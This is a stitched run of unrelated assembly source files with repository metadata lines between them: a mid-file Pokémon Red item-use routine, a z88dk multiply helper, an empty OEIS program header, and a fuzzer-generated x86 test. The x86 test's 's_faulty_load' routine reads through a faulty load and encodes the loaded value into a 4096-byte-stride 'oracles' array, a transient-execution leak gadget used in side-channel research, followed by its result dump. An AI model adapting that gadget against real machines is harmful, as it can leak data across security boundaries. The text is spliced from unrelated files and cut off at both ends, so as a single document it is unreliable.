PP if the move has had any PP Ups used on it. cp b ; does current PP equal max PP? ret z jr .storeNewAmount .useElixir ; decrement the item ID so that ELIXER becomes ETHER and MAX_ELIXER becomes MAX_ETHER ld hl, wPPRestoreItem dec [hl] dec [hl] xor a ld hl, wCurrentMenuItem ld [hli], a ld [hl], a ; zero the counter for number of moves that had their PP restored ld b, 4 ; loop through each move and restore PP .elixirLoop push bc ld hl, wPartyMon1Moves ld bc, wPartyMon2 - wPartyMon1 call GetSelectedMoveOffset ld a, [hl] and a ; does the current slot have a move? jr z, .nextMove call .restorePP jr z, .nextMove ; if some PP was restored ld hl, wTileBehindCursor ; counter for number of moves that had their PP restored inc [hl] .nextMove ld hl, wCurrentMenuItem inc [hl] pop bc dec b jr nz, .elixirLoop ld a, [wTileBehindCursor] and a ; did any moves have their PP restored? jp nz, .afterRestoringPP .noEffect call ItemUseNoEffect .itemNotUsed call GBPalWhiteOut call RunDefaultPaletteCommand pop af xor a ld [wActionResultOrTookBattleTurn], a ; item use failed ret RaisePPWhichTechniqueText: TX_FAR _RaisePPWhichTechniqueText db "@" RestorePPWhichTechniqueText: TX_FAR _RestorePPWhichTechniqueText db "@" PPMaxedOutText: TX_FAR _PPMaxedOutText db "@" PPIncreasedText: TX_FAR _PPIncreasedText db "@" PPRestoredText: TX_FAR _PPRestoredText db "@" ; for items that can't be used from the Item menu UnusableItem: jp ItemUseNotTime ItemUseTMHM: ld a, [wIsInBattle] and a jp nz, ItemUseNotTime ld a, [wcf91] sub TM_01 push af jr nc, .skipAdding add 55 ; if item is an HM, add 55 .skipAdding inc a ld [wd11e], a predef TMToMove ; get move ID from TM/HM ID ld a, [wd11e] ld [wMoveNum], a call GetMoveName call CopyStringToCF4B ; copy name to wcf4b pop af ld hl, BootedUpTMText jr nc, .printBootedUpMachineText ld hl, BootedUpHMText .printBootedUpMachineText call PrintText ld hl, TeachMachineMoveText call PrintText coord hl, 14, 7 lb bc, 8, 15 ld a, TWO_OPTION_MENU ld [wTextBoxID], a call DisplayTextBoxID ; yes/no menu ld a, [wCurrentMenuItem] and a jr z, .useMachine ld a, 2 ld [wActionResultOrTookBattleTurn], a ; item not used ret .useMachine ld a, [wWhichPokemon] push af ld a, [wcf91] push af .chooseMon ld hl, wcf4b ld de, wTempMoveNameBuffer ld bc, 14 call CopyData ; save the move name because DisplayPartyMenu will overwrite it ld a, $ff ld [wUpdateSpritesEnabled], a ld a, TMHM_PARTY_MENU ld [wPartyMenuTypeOrMessageID], a call DisplayPartyMenu push af ld hl, wTempMoveNameBuffer ld de, wcf4b ld bc, 14 call CopyData pop af jr nc, .checkIfAbleToLearnMove ; if the player canceled teaching the move pop af pop af call GBPalWhiteOutWithDelay3 call ClearSprites call RunDefaultPaletteCommand jp LoadScreenTilesFromBuffer1 ; restore saved screen .checkIfAbleToLearnMove predef CanLearnTM ; check if the pokemon can learn the move push bc ld a, [wWhichPokemon] ld hl, wPartyMonNicks call GetPartyMonName pop bc ld a, c and a ; can the pokemon learn the move? jr nz, .checkIfAlreadyLearnedMove ; if the pokemon can't learn the move ld a, SFX_DENIED call PlaySoundWaitForCurrent ld hl, MonCannotLearnMachineMoveText call PrintText jr .chooseMon .checkIfAlreadyLearnedMove callab CheckIfMoveIsKnown ; check if the pokemon already knows the move jr c, .chooseMon predef LearnMove ; teach move pop af ld [wcf91], a pop af ld [wWhichPokemon], a ld a, b and a ret z ld a, [wcf91] call IsItemHM ret c jp RemoveUsedItem BootedUpTMText: TX_FAR _BootedUpTMText db "@" BootedUpHMText: TX_FAR _BootedUpHMText db "@" TeachMachineMoveText: TX_FAR _TeachMachineMoveText db "@" MonCannotLearnMachineMoveText: TX_FAR _MonCannotLearnMachineMoveText db "@" PrintItemUseTextAndRemoveItem: ld hl, ItemUseText00 call PrintText ld a, SFX_HEAL_AILMENT call PlaySound call WaitForTextScrollButtonPress ; wait for button press RemoveUsedItem: ld hl, wNumBagItems ld a, 1 ; one item ld [wItemQuantity], a jp RemoveItemFromInventory ItemUseNoEffect: ld hl, ItemUseNoEffectText jr ItemUseFailed ItemUseNotTime: ld hl, ItemUseNotTimeText jr ItemUseFailed ItemUseNotYoursToUse: ld hl, ItemUseNotYoursToUseText jr ItemUseFailed ThrowBallAtTrainerMon: call RunDefaultPaletteCommand call LoadScreenTilesFromBuffer1 ; restore saved screen call Delay3 ld a, TOSS_ANIM ld [wAnimationID], a predef MoveAnimation ; do animation ld hl, ThrowBallAtTrainerMonText1 call PrintText ld hl, ThrowBallAtTrainerMonText2 call PrintText jr RemoveUsedItem NoCyclingAllowedHere: ld hl, NoCyclingAllowedHereText jr ItemUseFailed BoxFullCannotThrowBall: ld hl, BoxFullCannotThrowBallText jr ItemUseFailed SurfingAttemptFailed: ld hl, NoSurfingHereText ItemUseFailed: xor a ld [wActionResultOrTookBattleTurn], a ; item use failed jp PrintText ItemUseNotTimeText: TX_FAR _ItemUseNotTimeText db "@" ItemUseNotYoursToUseText: TX_FAR _ItemUseNotYoursToUseText db "@" ItemUseNoEffectText: TX_FAR _ItemUseNoEffectText db "@" ThrowBallAtTrainerMonText1: TX_FAR _ThrowBallAtTrainerMonText1 db "@" ThrowBallAtTrainerMonText2: TX_FAR _ThrowBallAtTrainerMonText2 db "@" NoCyclingAllowedHereText: TX_FAR _NoCyclingAllowedHereText db "@" NoSurfingHereText: TX_FAR _NoSurfingHereText db "@" BoxFullCannotThrowBallText: TX_FAR _BoxFullCannotThrowBallText db "@" ItemUseText00: TX_FAR _ItemUseText001 TX_LINE TX_FAR _ItemUseText002 db "@" GotOnBicycleText: TX_FAR _GotOnBicycleText1 TX_LINE TX_FAR _GotOnBicycleText2 db "@" GotOffBicycleText: TX_FAR _GotOffBicycleText1 TX_LINE TX_FAR _GotOffBicycleText2 db "@" ; restores bonus PP (from PP Ups) when healing at a pokemon center ; also, when a PP Up is used, it increases the current PP by one PP Up bonus ; INPUT: ; [wWhichPokemon] = index of pokemon in party ; [wCurrentMenuItem] = index of move (when using a PP Up) RestoreBonusPP: ld hl, wPartyMon1Moves ld bc, wPartyMon2 - wPartyMon1 ld a, [wWhichPokemon] call AddNTimes push hl ld de, wNormalMaxPPList - 1 predef LoadMovePPs ; loads the normal max PP of each of the pokemon's moves to wNormalMaxPPList pop hl ld c, wPartyMon1PP - wPartyMon1Moves ld b, 0 add hl, bc ; hl now points to move 1 PP ld de, wNormalMaxPPList ld b, 0 ; initialize move counter to zero ; loop through the pokemon's moves .loop inc b ld a, b cp 5 ; reached the end of the pokemon's moves? ret z ; if so, return ld a, [wUsingPPUp] dec a ; using a PP Up? jr nz, .skipMenuItemIDCheck ; if using a PP Up, check if this is the move it's being used on ld a, [wCurrentMenuItem] inc a cp b jr nz, .nextMove .skipMenuItemIDCheck ld a, [hl] and %11000000 ; have any PP Ups been used? call nz, AddBonusPP ; if so, add bonus PP .nextMove inc hl inc de jr .loop ; adds bonus PP from PP Ups to current PP ; 1/5 of normal max PP (capped at 7) is added for each PP Up ; INPUT: ; [de] = normal max PP ; [hl] = move PP AddBonusPP: push bc ld a, [de] ; normal max PP of move ld [H_DIVIDEND + 3], a xor a ld [H_DIVIDEND], a ld [H_DIVIDEND + 1], a ld [H_DIVIDEND + 2], a ld a, 5 ld [H_DIVISOR], a ld b, 4 call Divide ld a, [hl] ; move PP ld b, a swap a and %00001111 srl a srl a ld c, a ; c = number of PP Ups used .loop ld a, [H_QUOTIENT + 3] cp 8 ; is the amount greater than or equal to 8? jr c, .addAmount ld a, 7 ; cap the amount at 7 .addAmount add b ld b, a ld a, [wUsingPPUp] dec a ; is the player using a PP Up right now? jr z, .done ; if so, only add the bonus once dec c jr nz, .loop .done ld [hl], b pop bc ret ; gets max PP of a pokemon's move (including PP from PP Ups) ; INPUT: ; [wWhichPokemon] = index of pokemon within party/box ; [wMonDataLocation] = pokemon source ; 00: player's party ; 01: enemy's party ; 02: current box ; 03: daycare ; 04: player's in-battle pokemon ; [wCurrentMenuItem] = move index ; OUTPUT: ; [wMaxPP] = max PP GetMaxPP: ld a, [wMonDataLocation] and a ld hl, wPartyMon1Moves ld bc, wPartyMon2 - wPartyMon1 jr z, .sourceWithMultipleMon ld hl, wEnemyMon1Moves dec a jr z, .sourceWithMultipleMon ld hl, wBoxMon1Moves ld bc, wBoxMon2 - wBoxMon1 dec a jr z, .sourceWithMultipleMon ld hl, wDayCareMonMoves dec a jr z, .sourceWithOneMon ld hl, wBattleMonMoves ; player's in-battle pokemon .sourceWithOneMon call GetSelectedMoveOffset2 jr .next .sourceWithMultipleMon call GetSelectedMoveOffset .next ld a, [hl] dec a push hl ld hl, Moves ld bc, MoveEnd - Moves call AddNTimes ld de, wcd6d ld a, BANK(Moves) call FarCopyData ld de, wcd6d + 5 ; PP is byte 5 of move data ld a, [de] ld b, a ; b = normal max PP pop hl push bc ld bc, wPartyMon1PP - wPartyMon1Moves ; PP offset if not player's in-battle pokemon data ld a, [wMonDataLocation] cp 4 ; player's in-battle pokemon? jr nz, .addPPOffset ld bc, wBattleMonPP - wBattleMonMoves ; PP offset if player's in-battle pokemon data .addPPOffset add hl, bc ld a, [hl] ; a = current PP and %11000000 ; get PP Up count pop bc or b ; place normal max PP in 6 lower bits of a ld h, d ld l, e inc hl ; hl = wcd73 ld [hl], a xor a ; add the bonus for the existing PP Up count ld [wUsingPPUp], a call AddBonusPP ; add bonus PP from PP Ups ld a, [hl] and %00111111 ; mask out the PP Up count ld [wMaxPP], a ; store max PP ret GetSelectedMoveOffset: ld a, [wWhichPokemon] call AddNTimes GetSelectedMoveOffset2: ld a, [wCurrentMenuItem] ld c, a ld b, 0 add hl, bc ret ; confirms the item toss and then tosses the item ; INPUT: ; hl = address of inventory (either wNumBagItems or wNumBoxItems) ; [wcf91] = item ID ; [wWhichPokemon] = index of item within inventory ; [wItemQuantity] = quantity to toss ; OUTPUT: ; clears carry flag if the item is tossed, sets carry flag if not TossItem_: push hl ld a, [wcf91] call IsItemHM pop hl jr c, .tooImportantToToss push hl call IsKeyItem_ ld a, [wIsKeyItem] pop hl and a jr nz, .tooImportantToToss push hl ld a, [wcf91] ld [wd11e], a call GetItemName call CopyStringToCF4B ; copy name to wcf4b ld hl, IsItOKToTossItemText call PrintText coord hl, 14, 7 lb bc, 8, 15 ld a, TWO_OPTION_MENU ld [wTextBoxID], a call DisplayTextBoxID ; yes/no menu ld a, [wMenuExitMethod] cp CHOSE_SECOND_ITEM pop hl scf ret z ; return if the player chose No ; if the player chose Yes push hl ld a, [wWhichPokemon] call RemoveItemFromInventory ld a, [wcf91] ld [wd11e], a call GetItemName call CopyStringToCF4B ; copy name to wcf4b ld hl, ThrewAwayItemText call PrintText pop hl and a ret .tooImportantToToss push hl ld hl, TooImportantToTossText call PrintText pop hl scf ret ThrewAwayItemText: TX_FAR _ThrewAwayItemText db "@" IsItOKToTossItemText: TX_FAR _IsItOKToTossItemText db "@" TooImportantToTossText: TX_FAR _TooImportantToTossText db "@" ; checks if an item is a key item ; INPUT: ; [wcf91] = item ID ; OUTPUT: ; [wIsKeyItem] = result ; 00: item is not key item ; 01: item is key item IsKeyItem_: ld a, $01 ld [wIsKeyItem], a ld a, [wcf91] cp HM_01 ; is the item an HM or TM? jr nc, .checkIfItemIsHM ; if the item is not an HM or TM push af ld hl, KeyItemBitfield ld de, wBuffer ld bc, 15 ; only 11 bytes are actually used call CopyData pop af dec a ld c, a ld hl, wBuffer ld b, FLAG_TEST predef FlagActionPredef ld a, c and a ret nz .checkIfItemIsHM ld a, [wcf91] call IsItemHM ret c xor a ld [wIsKeyItem], a ret INCLUDE "data/key_items.asm" SendNewMonToBox: ld de, wNumInBox ld a, [de] inc a ld [de], a ld a, [wcf91] ld [wd0b5], a ld c, a .asm_e7b1 inc de ld a, [de] ld b, a ld a, c ld c, b ld [de], a cp $ff jr nz, .asm_e7b1 call GetMonHeader ld hl, wBoxMonOT ld bc, NAME_LENGTH ld a, [wNumInBox] dec a jr z, .asm_e7ee dec a call AddNTimes push hl ld bc, NAME_LENGTH add hl, bc ld d, h ld e, l pop hl ld a, [wNumInBox] dec a ld b, a .asm_e7db push bc push hl ld bc, NAME_LENGTH call CopyData pop hl ld d, h ld e, l ld bc, -NAME_LENGTH add hl, bc pop bc dec b jr nz, .asm_e7db .asm_e7ee ld hl, wPlayerName ld de, wBoxMonOT ld bc, NAME_LENGTH call CopyData ld a, [wNumInBox] dec a jr z, .asm_e82a ld hl, wBoxMonNicks ld bc, NAME_LENGTH dec a call AddNTimes push hl ld bc, NAME_LENGTH add hl, bc ld d, h ld e, l pop hl ld a, [wNumInBox] dec a ld b, a .asm_e817 push bc push hl ld bc, NAME_LENGTH call CopyData pop hl ld d, h ld e, l ld bc, -NAME_LENGTH add hl, bc pop bc dec b jr nz, .asm_e817 .asm_e82a ld hl, wBoxMonNicks ld a, NAME_MON_SCREEN ld [wNamingScreenType], a predef AskName ld a, [wNumInBox] dec a jr z, .asm_e867 ld hl, wBoxMons ld bc, wBoxMon2 - wBoxMon1 dec a call AddNTimes push hl ld bc, wBoxMon2 - wBoxMon1 add hl, bc ld d, h ld e, l pop hl ld a, [wNumInBox] dec a ld b, a .asm_e854 push bc push hl ld bc, wBoxMon2 - wBoxMon1 call CopyData pop hl ld d, h ld e, l ld bc, wBoxMon1 - wBoxMon2 add hl, bc pop bc dec b jr nz, .asm_e854 .asm_e867 ld a, [wEnemyMonLevel] ld [wEnemyMonBoxLevel], a ld hl, wEnemyMon ld de, wBoxMon1 ld bc, wEnemyMonDVs - wEnemyMon call CopyData ld hl, wPlayerID ld a, [hli] ld [de], a inc de ld a, [hl] ld [de], a inc de push de ld a, [wCurEnemyLVL] ld d, a callab CalcExperience pop de ld a, [hExperience] ld [de], a inc de ld a, [hExperience + 1] ld [de], a inc de ld a, [hExperience + 2] ld [de], a inc de xor a ld b, NUM_STATS * 2 .asm_e89f ld [de], a inc de dec b jr nz, .asm_e89f ld hl, wEnemyMonDVs ld a, [hli] ld [de], a inc de ld a, [hli] ld [de], a ld hl, wEnemyMonPP ld b, NUM_MOVES .asm_e8b1 ld a, [hli] inc de ld [de], a dec b jr nz, .asm_e8b1 ret ; checks if the tile in front of the player is a shore or water tile ; used for surfing and fishing ; unsets carry if it is, sets carry if not IsNextTileShoreOrWater: ld a, [wCurMapTileset] ld hl, WaterTilesets ld de, 1 call IsInArray jr nc, .notShoreOrWater ld a, [wCurMapTileset] cp SHIP_PORT ; Vermilion Dock tileset ld a, [wTileInFrontOfPlayer] ; tile in front of player jr z, .skipShoreTiles ; if it's the Vermilion Dock tileset cp $48 ; eastern shore tile in Safari Zone jr z, .shoreOrWater cp $32 ; usual eastern shore tile jr z, .shoreOrWater .skipShoreTiles cp $14 ; water tile jr z, .shoreOrWater .notShoreOrWater scf ret .shoreOrWater and a ret ; tilesets with water WaterTilesets: db OVERWORLD, FOREST, DOJO, GYM, SHIP, SHIP_PORT, CAVERN, FACILITY, PLATEAU db $ff ; terminator ReadSuperRodData: ; return e = 2 if no fish on this map ; return e = 1 if a bite, bc = level,species ; return e = 0 if no bite ld a, [wCurMap] ld de, 3 ; each fishing group is three bytes wide ld hl, SuperRodData call IsInArray jr c, .ReadFishingGroup ld e, $2 ; $2 if no fishing groups found ret .ReadFishingGroup ; hl points to the fishing group entry in the index inc hl ; skip map id ; read fishing group address ld a, [hli] ld h, [hl] ld l, a ld b, [hl] ; how many mons in group inc hl ; point to data ld e, $0 ; no bite yet .RandomLoop call Random srl a ret c ; 50% chance of no battle and %11 ; 2-bit random number cp b jr nc, .RandomLoop ; if a is greater than the number of mons, regenerate ; get the mon add a ld c, a ld b, $0 add hl, bc ld b, [hl] ; level inc hl ld c, [hl] ; species ld e, $1 ; $1 if there's a bite ret INCLUDE "data/super_rod.asm" ; reloads map view and processes sprite data ; for items that cause the overworld to be displayed ItemUseReloadOverworldData: call LoadCurrentMapView jp UpdateSprites ; creates a list at wBuffer of maps where the mon in [wd11e] can be found. ; this is used by the pokedex to display locations the mon can be found on the map. FindWildLocationsOfMon: ld hl, WildDataPointers ld de, wBuffer ld c, $0 .loop inc hl ld a, [hld] inc a jr z, .done push hl ld a, [hli] ld h, [hl] ld l, a ld a, [hli] and a call nz, CheckMapForMon ; land ld a, [hli] and a call nz, CheckMapForMon ; water pop hl inc hl inc hl inc c jr .loop .done ld a, $ff ; list terminator ld [de], a ret CheckMapForMon: inc hl ld b, $a .loop ld a, [wd11e] cp [hl] jr nz, .nextEntry ld a, c ld [de], a inc de .nextEntry inc hl inc hl dec b jr nz, .loop dec hl ret
21.015719
112
0.723968
90a71eeb9f81aafb595817d61e2ec90f40c55b31
8,442
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1629.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1629.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i9-9900K_12_0xca.log_21829_1629.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r8 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0xcbb7, %rsi nop nop nop nop nop and $46246, %r9 mov $0x6162636465666768, %r8 movq %r8, %xmm5 movups %xmm5, (%rsi) nop nop nop nop inc %r8 lea addresses_WC_ht+0x10fdf, %rsi lea addresses_normal_ht+0x1175f, %rdi add $41911, %r14 mov $84, %rcx rep movsq nop nop nop nop nop and $55643, %rdi lea addresses_UC_ht+0xa6df, %r14 nop nop nop nop nop add %rdx, %rdx movw $0x6162, (%r14) nop nop cmp %rsi, %rsi lea addresses_WT_ht+0xd7df, %r14 nop nop nop nop nop add %rdx, %rdx mov (%r14), %ecx nop nop nop sub %rdx, %rdx lea addresses_normal_ht+0xfcdf, %rdi nop nop nop nop nop xor %rcx, %rcx mov (%rdi), %r9 nop nop xor $35111, %rcx lea addresses_normal_ht+0x107df, %rsi lea addresses_D_ht+0x12605, %rdi sub $11298, %rdx mov $115, %rcx rep movsl xor %rdi, %rdi lea addresses_normal_ht+0x54a7, %rsi nop nop cmp %r8, %r8 movw $0x6162, (%rsi) nop sub $16867, %rdi lea addresses_A_ht+0x3517, %rsi lea addresses_WT_ht+0xdf0b, %rdi nop nop nop nop inc %rbp mov $54, %rcx rep movsq nop nop nop nop nop cmp %r8, %r8 lea addresses_WT_ht+0xe15f, %r14 nop nop nop nop nop add $9863, %r9 movups (%r14), %xmm1 vpextrq $0, %xmm1, %rsi nop nop nop cmp %rsi, %rsi lea addresses_WT_ht+0x1703f, %rsi nop nop and $18317, %rdx movb (%rsi), %r14b nop inc %rdx lea addresses_WT_ht+0x13df, %r14 nop nop nop xor %rcx, %rcx mov (%r14), %si nop sub %r9, %r9 lea addresses_A_ht+0x1347, %rbp cmp $52682, %r9 mov (%rbp), %edi nop nop xor $7194, %r14 lea addresses_WT_ht+0xb1df, %rsi lea addresses_WC_ht+0x18df, %rdi xor $27510, %r8 mov $51, %rcx rep movsq nop nop nop nop xor $30961, %rdx lea addresses_normal_ht+0xd7df, %rsi lea addresses_A_ht+0xf3df, %rdi nop nop nop nop dec %rdx mov $111, %rcx rep movsw nop and $18833, %rdi lea addresses_normal_ht+0x1b7df, %rsi nop nop nop and $27972, %r9 movw $0x6162, (%rsi) nop nop nop dec %r9 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r14 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %rbp push %rbx push %rcx push %rdi push %rdx // Store lea addresses_normal+0x8fdf, %rdx and %rcx, %rcx mov $0x5152535455565758, %rdi movq %rdi, %xmm6 movups %xmm6, (%rdx) inc %r13 // Store lea addresses_D+0x105dd, %rbx nop nop cmp %r12, %r12 movw $0x5152, (%rbx) nop nop nop nop dec %r12 // Load lea addresses_UC+0x10bdf, %rdx nop nop nop nop nop sub $61122, %rbx movb (%rdx), %cl nop nop nop nop cmp %r12, %r12 // Faulty Load lea addresses_UC+0x10bdf, %rbp nop nop nop nop sub %rdi, %rdi mov (%rbp), %r12 lea oracles, %rdi and $0xff, %r12 shlq $12, %r12 mov (%rdi,%r12,1), %r12 pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 8}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_UC', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'REPM', 'src': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 8}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': True, 'congruent': 7}} {'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_D_ht', 'congruent': 1}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 0}} {'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'LOAD', 'src': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 5}} {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 11}} {'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 3}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 7}, 'dst': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 10}, 'dst': {'same': False, 'type': 'addresses_A_ht', 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 8}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
31.5
2,999
0.655058
e24d2cb67fc732779468b3b90b82b9aee8e51a9c
638
asm
Assembly
libsrc/_DEVELOPMENT/l/sdcc/__mullong_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/l/sdcc/__mullong_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/l/sdcc/__mullong_callee.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
INCLUDE "clib_cfg.asm" SECTION code_l_sdcc PUBLIC __mullong_callee EXTERN l_mulu_32_32x32 __mullong_callee: ; multiply two 32-bit multiplicands into a 32-bit product ; ; enter : stack = multiplicand (32-bit), multiplicand (32-bit), ret ; ; exit : dehl = product pop af exx pop hl pop de ; dehl = multiplicand exx pop hl pop de ; dehl = multiplicand push af IF (__CLIB_OPT_IMATH <= 50) || (__SDCC_IY) jp l_mulu_32_32x32 ENDIF IF (__CLIB_OPT_IMATH > 50) && (__SDCC_IX) push ix call l_mulu_32_32x32 pop ix ret ENDIF
14.837209
70
0.611285
ef09ec4e6b061000d886461c16c26c668835b527
718
asm
Assembly
programs/oeis/257/A257170.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/257/A257170.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/257/A257170.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
